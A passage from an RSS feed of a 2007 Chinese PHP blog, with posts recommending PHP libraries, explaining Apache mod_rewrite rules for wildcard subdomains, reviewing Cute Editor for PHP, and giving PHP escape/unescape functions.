    <li><strong>擷取 RSS</strong>：你的項目需要從外部來源擷取 RSS 嗎？雖然<a title="擷取 RSS 的方法" href="http://www.webdigity.com/index.php?action=tutorial;code=20"><font color=#002c99>方法很簡單</font></a>，但既然有方便易用的 <a title="Magpie RSS" href="http://magpierss.sourceforge.net/"><font color=#002c99>Magpie RSS</font></a>，便不要自己費神了。
    <li><strong>追蹤地理位置</strong>：有時你希望知道訪客來自何方，<a title=Maxmind href="http://www.maxmind.com/app/php"><font color=#002c99>Maxmind</font></a> 提供了簡單方便的方法，詳細的使用方法可以參看<a title=追蹤地理位置教學文件 href="http://www.webdigity.com/index.php?action=tutorial;code=58"><font color=#002c99>教學文件</font></a>。
    <li><strong>擷取遠端內容</strong>：若果嫌 RSS 的內容太簡單而需要擷取遠端網頁的內容並加以分析，<a title="htmlSQL class" href="http://www.jonasjohn.de/lab/htmlsql.htm"><font color=#002c99>htmlSQL class</font></a> 可以幫你，這個函式庫讓你使用 SQL 語句擷取遠端網頁的內容，不是很有趣的構想嗎？
    <li><strong>Trackback</strong>：發送和接收 trackback 可說是現代網站的標準功能，<a title="PHP Trackback" href="http://phptrackback.sourceforge.net/"><font color=#002c99>PHP Trackback</font></a> 讓你輕鬆把這些功能加入開發項目中。
    <li><strong>模版系統</strong>：這是另一個所有網站都必定使用的功能，它可以省卻你大量設計頁面的時間，也使更換頁面設計變得更加輕鬆容易，<a title=Smarty href="http://smarty.php.net/"><font color=#002c99>Smarty</font></a> 可以是現時最受歡迎的模板系統。
    <li><strong>BBcode</strong>：BBcode 本來是網上討論區的功能，現在很多網站為了使介面更加友善易用都加入了 BBcode，不過編寫 BBcode 系統需要不少氣力，幸好 <a title="StringParser BBcode class" href="http://christian-seiler.de/projekte/php/bbcode/index_en.html"><font color=#002c99>StringParser BBcode class</font></a> 已經為你準備一切。
    <li><strong>整合 Paypal 付款系統</strong>：Paypal 提供了完善的應用程式介面，讓開發人員很容易便可以把 Paypal 的付款系統整合他們的網站，透過 <a title="Paypal IPN Integration class" href="http://www.micahcarrick.com/04-19-2005/php-paypal-ipn-integration-class.html"><font color=#002c99>Paypal IPN Integration class</font></a> 只需 20 分鐘的時間便可以開始在網上接受付款。
    <li><strong>文本編輯器</strong>：作為系統開發人員，我們當然樂意使用 phpMyAdmin 來處理 MySQL 中的數據，使用 textarea 在網頁中輸入文字，但是給用戶使用的編輯器便需要更先進的功能，<a title=TinyMCE href="http://tinymce.moxiecode.com/"><font color=#002c99>tinyMCE control</font></a> 提供「所見即所得」的網上編輯器，正好符合這方面的要求。</li>
</ol>
<img src ="http://www.phpweblog.net/killjin/aggbug/2600.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-25 17:10 <a href="http://www.phpweblog.net/killjin/archive/2007/12/25/2600.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>apache Rewrite 二级域名设定</title><link>http://www.phpweblog.net/killjin/archive/2007/12/23/2590.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Sat, 22 Dec 2007 16:38:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/23/2590.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2590.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/23/2590.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2590.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2590.html</trackback:ping><description><![CDATA[<p>在httpd.conf中，对某个主机进行以下操作：</p>
<p>&lt;VirtualHost ip:80&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rewriteengine on<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rewritecond %{HTTP_HOST} [^.]+\.域名\.com$<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rewriterule ^(.+) %{HTTP_HOST}$1 [C]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rewriterule ([^.]+)\.域名\.com(.*) /$1$2<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其他配置文件<br>&lt;/VirtualHost&gt;</p>
<p>接着在DNS中开设一个泛解析到对应的IP地址。<br>就可以实现下面的方案。<br><br>域名：domain.com<br>绝对路径：/home/domain.com/<br><a href="http://www.domain.com/">www.domain.com</a> 自动解析到 /home/domain.com/www/<br>abc.domain.com 自动解析到 /home/domain.com/abc/<br>等等子域名都可以自动解析到 /home/domains.com/对应子域名名称的文件夹</p>
<p>直接建立子域名名称的文件夹即可使用。不需重启apache。</p>
<p>泛域名解析就是将客户的域名全部解析到同一个IP地址。<br>例如客户的域名a.com，之下所设的*.a.com全部解析到同一个IP地址上去。<br>比如客户设b.a.com就会自已自动解析到与a.com同一个IP地址上去。</p>
<p>泛域名是指&nbsp; *&nbsp; IN&nbsp; A&nbsp;&nbsp; 123.123.123.123 或&nbsp; *&nbsp;&nbsp; IN&nbsp; CNAME <a href="http://www.aaa.com/">www.aaa.com</a></p>
<p>泛域名解析的用途:</p>
<p>1.可以让域名支持无限的子域名(这也是泛域名解析最大的用途)。<br>2.防止用户错误输入导致的网站不能访问的问题。</p>
<p>在DNS服务器里面设置泛域名解析有2种方式</p>
<p>1. 在域名解析里面设置 *.a.com的A记录或者CName 记录指向某一个IP/服务器名（这种方式 虚拟主机用户是不支持的)<br>2. 在域名转发里面设置 *.a.com 转发到 <a href="http://www.a.com/">http://www.a.com</a>( 虚拟主机可以支持这种转发方式,用户在自己的程序中可以判断访问者要访问的域名),我们会在程序技术文档里面讲解</p>
<p>例子二：<br><a href="http://www.xuega.com/klein/blog/article_321.html">http://www.xuega.com/klein/blog/article_321.html</a><br>&nbsp;<br>实现动态二级域名解析的一个关键就是，把特有的名字怎么能够提出来，因为RewriteRule中的匹配，是不包括域名的匹配的，其实这其中就是一层窗户纸，把域名先重写放到&#8220;路径&#8221;中，再对&#8220;路径&#8221;重写一次就可以了，也就是说加一步过渡。这样说大概还一头雾水，给个实例。</p>
<p>首先按我上次写的文章的那个需求写一个，假设动态解析*.iecn.cn。</p>
<p>注意要先做一个所谓的范域名解析，就是说把所有*.iecn.cn解析到某个IP上去，这不是本文章讨论范围就不细说了。</p>
<p>Apache中相关配置如下：</p>
<p>&lt;VirtualHost _default_:80&gt;<br>ServerAdmin <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#121;&#111;&#117;&#114;&#109;&#97;&#105;&#108;&#64;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;">yourmail@domain.com</a><br>DocumentRoot /YourWwwRoot/.default<br>ServerName all-sites<br>ErrorLog logs/all-sites-error_log<br>CustomLog logs/all-sites-access_log common<br># 下面三行实现动态解析<br>RewriteCond %{HTTP_HOST} ^[a-z0-9\-]+\.iecn\.cn$<br>RewriteRule ^/(.*)$ /%{SERVER_NAME}/$1 ##注##<br>RewriteRule ^/([a-z0-9\-]+)\.iecn\.cn/(.*)$ /YourWwwRoot/$1/$2 [L]<br># 没有解析到的情况下扔到自己的一个PHP中做一下处理<br>RewriteRule ^.*$ /index.php [L]<br>&lt;/VirtualHost&gt;</p>
<p>注意我标注的地方，那一步就是一个过渡，说一下过程吧，假设现在访问：<br><a href="http://zhong.iecn.cn/xxx">http://zhong.iecn.cn/xxx</a><br>经第一步重写，变成 /zhong.iecn.cn/xxx<br>经第二步重写就是 /YourWwwRoot/zhong/xxx 了，其他的操作与我行前说的基本就差不多了。</p>
<p>再举一个可能更常见的实例，假设一个博客系统，要求把<br><a href="http://xxx.iecn.cn/">http://xxx.iecn.cn</a><br>隐式的重写成<br><a href="http://blog.iecn.cn/blog.php?u=xxx">http://blog.iecn.cn/blog.php?u=xxx</a><br>这里面的xxx可以看做是一个用户名，想必类似这样的需求大家一定都见过很多了，不过多解释了。</p>
<p>同意先做范域名解析这里不多说。在Apache中做如下重写（只写Rewrite部分了）：</p>
<p>RewriteCond %{HTTP_HOST} ^[a-z0-9\-]+\.iecn\.cn$<br>RewriteRule ^/?$ /%{HTTP_HOST}<br>RewriteRule ^/([a-z0-9\-]+)\.iecn\.cn/?$ /blog.php?u=$1 [L]</p>
<p>zz from <a href="http://blog.iecn.net/blog.php?do=showone&amp;tid=1013">http://blog.iecn.net/blog.php?do=showone&amp;tid=1013</a></p>
<p><br>Apache下用rewrite实现任意域名的动态解析</p>
<p>Apache的mod_rewrite模块功能非常强大，我以后会写更多的实例出来。</p>
<p>关于mod_rewrite的使用，不想多说，提供两个相关文档的地址：<br><a href="http://w.yi.org/ftp/FAPM/apache/Apache2/zh/mod/mod_rewrite.html">http://w.yi.org/ftp/FAPM/apache/Apache2/zh/mod/mod_rewrite.html</a><br><a href="http://man.chinaunix.net/newsoft/Apache2.2_chinese_manual/mod/mod_rewrite.html">http://man.chinaunix.net/newsoft/Apache2.2_chinese_manual/mod/mod_rewrite.html</a></p>
<p>如果你只是想用一个现成的你可以直接把我的copy过去改改，如果想从技术上搞清楚，那么首先要掌握两方面的技术：<br>Apache下mod_rewrite的使用（可参照我上面提供的两个地址）<br>正则表达式（这是一门在很多地方都非常有用的技术）</p>
<p>废话不多说，说一下我在IECN.NET服务器的实际配置。</p>
<p>我习惯使用NameVirtualHost，如果你的服务器中只想用这种动态的解析，直接在配置文件中做是一样的，如果想保留自己一些特殊站点的配置，还是用NameVirtualHost吧。</p>
<p>在Apache中，如果启用了NameVirtualHost，在没有匹配到的解析的情况下，会默认到第一组VirtualHost中，所以我们的动态解析自然是放到第一组VirtualHost（有关apache的一些配置这里就不多说，自己查阅相关文档。），如下：<br>&lt;VirtualHost _default_:80&gt;<br>&nbsp;&nbsp;&nbsp; ServerAdmin <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#121;&#111;&#117;&#114;&#109;&#97;&#105;&#108;&#64;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;">yourmail@domain.com</a><br>&nbsp;&nbsp;&nbsp; DocumentRoot /YourWwwRoot/.default<br>&nbsp;&nbsp;&nbsp; ServerName all-sites<br>&nbsp;&nbsp;&nbsp; ErrorLog logs/all-sites-error_log<br>&nbsp;&nbsp;&nbsp; CustomLog logs/all-sites-access_log common<br>&nbsp;&nbsp;&nbsp; # 下面两行实现动态解析<br>&nbsp;&nbsp;&nbsp; RewriteCond /YourWwwRoot/%{SERVER_NAME} -d<br>&nbsp;&nbsp;&nbsp; RewriteRule ^/(.*)$ /YourWwwRoot/%{SERVER_NAME}/$1 [L]<br>&nbsp;&nbsp;&nbsp; # 没有解析到的情况下扔到自己的一个PHP中做一下处理<br>&nbsp;&nbsp;&nbsp; RewriteRule ^.*$ /index.php [L]<br>&lt;/VirtualHost&gt;</p>
<p>把YourWwwRoot换成你自己的路径，注意这里的ServerName没有让它起作用，关建看这两行：<br>RewriteCond /YourWwwRoot/%{SERVER_NAME} -d<br>RewriteRule ^/(.*)$ /YourWwwRoot/%{SERVER_NAME}/$1 [L]</p>
<p>第一行是一个rewrite条件，这里的条件是：如果存在路径/YourWwwRoot/%{SERVER_NAME}，%{SERVER_NAME}就是你访问站点的域名，-d就表示存在这个路径的意思（如果是文件则是-f）；<br>第二行是一个rewrite规则，这个规则执行的前提是：符合规则的正则表达式匹配；符合它前面（也就是刚才说的第一行）rewrite条件。这里面是的匹配的是.*，也就是所有了，也就是说只要第一行的条件成立，它就会被重写到/YourWwwRoot/%{SERVER_NAME}/$1，% {SERVER_NAME}是站点的域名，$1则是匹配到的.*。</p>
<p>OK，现在就很清楚了，假设现在有<a href="http://www.domain.com/">www.domain.com</a>指向到这个服务器，当你访问它时（这里假设没有在其他VirtualHost解析这个域名），看看它是如何工作的：<br>首先它在没有找到匹配的解析时，就来到了这组默认的VirtualHost；<br>判断 /YourWwwRoot/www.domain.com 是否存在；<br>如果存在，重定向到 /YourWwwRoot/www.domain.com。</p>
<p>假设你访问 <a href="http://www.domain.com/test.html">http://www.domain.com/test.html</a>，就会重定向到系统的 /YourWwwRoot/www.domain.com/test.html。</p>
<p>那也就是说你在 YourWwwRoot 下建一个与域名同名的目录（并具备apache访问的权限），就实现了这个域名的解析。</p>
<p>说起来似乎有点难懂，其实很简单的。<br>这是一个对任意域名的动态解析，哪天有空再写一下对同一域名下二级域名的解析，其实对这个略做改动就可以了。</p>
<img src ="http://www.phpweblog.net/killjin/aggbug/2590.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-23 00:38 <a href="http://www.phpweblog.net/killjin/archive/2007/12/23/2590.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Cute Editor for PHP 6.0── 一個所見即所得的線上 HTML 編輯器</title><link>http://www.phpweblog.net/killjin/archive/2007/12/22/2585.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Sat, 22 Dec 2007 10:32:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/22/2585.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2585.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/22/2585.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2585.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2585.html</trackback:ping><description><![CDATA[<p><a title="Cute Editor for PHP" href="http://phphtmledit.com/index.php">Cute Editor for PHP</a> 新推出了 6.0 版本，這是一個「所見即所得」（WYSIWYG）的線上 HTML 編輯器，PHP 應用開發人員可以藉著它把傳統的 HTML textarea 換成一個功能強大的所見即所得內容編輯器，這個編輯器可以在多種瀏覽器上運行，包括 IE、Firefox、Mozilla、Netscape、和 Safari，在無數免費的線上 WYSIWYG 編輯器可供下載的情況下，以港幣一千元購買這個編輯器是否值得呢？ </p>
<p><a title="Cute Editor for PHP" href="http://phphtmledit.com/index.php"></a><a onclick="launch_popup(207, 640, 308); return false;" href="http://www.hkpug.net/" target=_blank><img title="Cute Editor Screen Shot" height=48 alt="Cute Editor Screen Shot" src="http://www.hkpug.net/files/images/cuteeditor_screenshot.thumbnail.gif" width=100 border=0></a> </p>
<p>據官方網站說，Cute Editor for PHP 其他特色包括： </p>
<ol>
    <li>輕便簡單，下載超快
    <li>符合標準，不會有類似 &lt;font&gt; 的標籤
    <li>從 Microsfot Word 複製標準的 HTML 內容
    <li>支援 W3C WAI 及章節 508 的可親性指引
    <li>可選擇輸出 HTML 或 XHTML
    <li>無限次的重複動作／復原修改
    <li>支援多元文化，可透過 XML 進行本地化
    <li>可編器完整 HTML 文件，從 &lt;HTML&gt; 到 &lt;/HTML&gt;
    <li>自動美化 HTML 原碼，所有標籤及屬性均使用小寫字母
    <li>可進行全螢幕編輯
    <li>沒有龜速的 Java 或 ActiveX 元件
    <li>可選擇使用絕對或相對網址
    <li>容易安裝
    <li>簡單易用的 API 來修改功能
    <li>容許多種文字繞圖設定
    <li>可製作檔案下載連結
    <li>由 CSS 支援的皮膚
    <li>先進的表格管理員
    <li>.........（尚有一長串的名單）......... </li>
</ol>
<p>有興趣的話可以到官方網站試一試那個<a title="Cute Editor for PHP 示範" href="http://phphtmledit.com/EnableAll.php">示範</a>。 </p>
<p>對於資深的 PHP 開發人員來說，應該都聽過 <a title=TinyMCE href="http://tinymce.moxiecode.com/">TinyMCE</a>、<a title=FCKeditor href="http://www.fckeditor.net/">FCKeditor</a>、<a title=XStandard href="http://xstandard.com/">XStandard</a>、<a title=AreaEdit href="http://www.formvista.com/otherprojects/areaedit.html">AreaEdit</a>、<a title=openWYSIWYG href="http://www.openwebware.com/products/openwysiwyg/">openWYSIWYG</a>、<a title=Xinha href="http://xinha.webfactional.com/">Xinha</a>......免費的、開放原碼的一大串可供選擇，Cute Editor for PHP 那一千元的價格變得很不吸引。不過，它擁有完善詳盡的文檔，還有專業的技術支援，對於企業用戶來說這些都是很重要的。 </p>
<img src ="http://www.phpweblog.net/killjin/aggbug/2585.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-22 18:32 <a href="http://www.phpweblog.net/killjin/archive/2007/12/22/2585.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP下自定义模仿JS的 escape和unescape函数</title><link>http://www.phpweblog.net/killjin/archive/2007/11/27/2396.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Mon, 26 Nov 2007 16:23:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/11/27/2396.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2396.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/11/27/2396.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2396.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2396.html</trackback:ping><description><![CDATA[<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span>&nbsp;<span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br></span><span style="COLOR: #008080">&nbsp;2</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;escape(</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">)&nbsp;{&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;3</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">preg_match_all</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/[\x80-\xff].|[\x01-\x7f]+/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$r</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;4</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$r</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">];&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;5</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">foreach</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">as</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">=&gt;</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">)&nbsp;{&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;6</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">])&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">128</span><span style="COLOR: #000000">)&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;7</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">rawurlencode</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;8</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;&nbsp;<br></span><span style="COLOR: #008080">&nbsp;9</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%u</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">bin2hex</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">iconv</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GB2312</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">UCS-2</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">));&nbsp;&nbsp;<br></span><span style="COLOR: #008080">10</span>&nbsp;<span style="COLOR: #000000">&nbsp;}&nbsp;&nbsp;<br></span><span style="COLOR: #008080">11</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">join</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">12</span>&nbsp;<span style="COLOR: #000000">}&nbsp;&nbsp;<br></span><span style="COLOR: #008080">13</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;unescape(</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">)&nbsp;{&nbsp;&nbsp;<br></span><span style="COLOR: #008080">14</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">rawurldecode</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">15</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">preg_match_all</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">/(?:%u.{4})|.+/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$str</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$r</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">16</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$r</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">];&nbsp;&nbsp;<br></span><span style="COLOR: #008080">17</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">foreach</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">as</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">=&gt;</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">)&nbsp;{&nbsp;&nbsp;<br></span><span style="COLOR: #008080">18</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">substr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%u</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">)&nbsp;&nbsp;<br></span><span style="COLOR: #008080">19</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$k</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">iconv</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">UCS-2</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GB2312</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">pack</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">H4</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">substr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$v</span><span style="COLOR: #000000">,-</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">)));&nbsp;&nbsp;<br></span><span style="COLOR: #008080">20</span>&nbsp;<span style="COLOR: #000000">&nbsp;}&nbsp;&nbsp;<br></span><span style="COLOR: #008080">21</span>&nbsp;<span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">join</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$ar</span><span style="COLOR: #000000">);&nbsp;&nbsp;<br></span><span style="COLOR: #008080">22</span>&nbsp;<span style="COLOR: #000000">}<br></span><span style="COLOR: #008080">23</span>&nbsp;<span style="COLOR: #000000"><br></span><span style="COLOR: #008080">24</span>&nbsp;<span style="COLOR: #000000"><br></span><span style="COLOR: #008080">25</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #800080">$a</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\u4e2d\u897f\u533a</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">26</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #800080">$a</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">str_replace</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">\\</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">%</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$a</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">27</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000">&nbsp;unescape(</span><span style="COLOR: #800080">$a</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">28</span>&nbsp;<span style="COLOR: #000000"></span><span style="COLOR: #000000">?&gt;</span></div>
<img src ="http://www.phpweblog.net/killjin/aggbug/2396.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-11-27 00:23 <a href="http://www.phpweblog.net/killjin/archive/2007/11/27/2396.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IBM上的PHP V5.2中新增功能系列 </title><link>http://www.phpweblog.net/killjin/archive/2007/11/26/2395.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Mon, 26 Nov 2007 15:43:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/11/26/2395.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2395.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/11/26/2395.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2395.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2395.html</trackback:ping><description><![CDATA[来自IBM中国 <strong>PHP V5.2 中的新增功能系列</strong>，这些功能还真是不清楚，呵呵～要补补课了 <img height=20 